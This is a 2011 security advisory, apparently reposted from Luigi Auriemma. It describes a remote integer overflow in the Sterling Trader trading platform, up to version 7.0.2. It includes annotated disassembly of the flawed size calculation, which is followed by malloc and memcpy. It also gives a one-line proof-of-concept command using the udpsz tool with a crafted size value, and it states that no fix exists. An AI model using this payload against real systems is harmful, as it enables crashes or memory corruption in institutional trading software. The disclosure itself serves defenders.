Integer overflow in Sterling Trader 7.0.2

2011-10-02T00:00:00
ID SECURITYVULNS:DOC:27118
Type securityvulns
Reporter Securityvulns
Modified 2011-10-02T00:00:00

Description

                         Luigi Auriemma

Application: Sterling Trader http://www.sterlingtrader.com/Trading_Platforms/trading_platforms2.html Versions: <= 7.0.2 Platforms: Windows Bug: integer overflow Exploitation: remote Date: 25 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org

1) Introduction 2) Bug 3) The Code 4) Fix

=============== 1) Introduction ===============

From vendor's homepage: "Sterling Trader® Elite serves institutional firms on the buy side and sell side. Featuring advanced OMS functionality, global market access, and multi-broker connectivity solutions, Elite lets firms take control of their trading."

====== 2) Bug ======

When this program is running (Base.exe or Elite.exe) it listens on the first available TCP port which changes each time and it's affected by an integer overflow vulnerability:

004922E3 > 83BF BC001000 10 CMP DWORD PTR DS:[EDI+1000BC],10 004922EA . 0F8C 66010000 JL Elite.00492456 004922F0 . 8D46 0C LEA EAX,DWORD PTR DS:[ESI+C] 004922F3 . 50 PUSH EAX ; &num2 004922F4 . 8D6E 08 LEA EBP,DWORD PTR DS:[ESI+8] 004922F7 . 55 PUSH EBP ; &num1 (size) 004922F8 . 68 9C23A000 PUSH Elite.00A0239C ; "1=%d~2=%d~" 004922FD . 53 PUSH EBX 004922FE . E8 7CA44600 CALL Elite.008FC77F ; sscanf 00492303 . 83C4 10 ADD ESP,10 00492306 . 83F8 02 CMP EAX,2 00492309 . 0F85 4D010000 JNZ Elite.0049245C 0049230F . 8B55 00 MOV EDX,DWORD PTR SS:[EBP] 00492312 . 83C2 10 ADD EDX,10 ; size + 0x10 00492315 . B9 31000000 MOV ECX,31 0049231A . 66:898E 84000000 MOV WORD PTR DS:[ESI+84],CX 00492321 . 8956 04 MOV DWORD PTR DS:[ESI+4],EDX 00492324 . C746 70 10000000 MOV DWORD PTR DS:[ESI+70],10 0049232B . 33ED XOR EBP,EBP 0049232D > 8B87 BC001000 MOV EAX,DWORD PTR DS:[EDI+1000BC] 00492333 . 3B46 04 CMP EAX,DWORD PTR DS:[ESI+4] 00492336 . 0F8C 3E010000 JL Elite.0049247A 0049233C . 89AF C0001000 MOV DWORD PTR DS:[EDI+1000C0],EBP 00492342 . 8B4E 04 MOV ECX,DWORD PTR DS:[ESI+4] 00492345 . 41 INC ECX ; size + 1 00492346 . 51 PUSH ECX 00492347 . E8 C0673F00 CALL Elite.00888B0C ; malloc() 0049234C . 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4] 0049234F . 52 PUSH EDX 00492350 . 53 PUSH EBX 00492351 . 50 PUSH EAX 00492352 . 8946 6C MOV DWORD PTR DS:[ESI+6C],EAX 00492355 . E8 36774600 CALL Elite.008F9A90 ; memcpy

=========== 3) The Code ===========

http://aluigi.org/testz/udpsz.zip

udpsz -b a -T -c "1=4294967279~2=0~" SERVER PORT 0xffff

====== 4) Fix ======

No fix.


Luigi Auriemma http://aluigi.org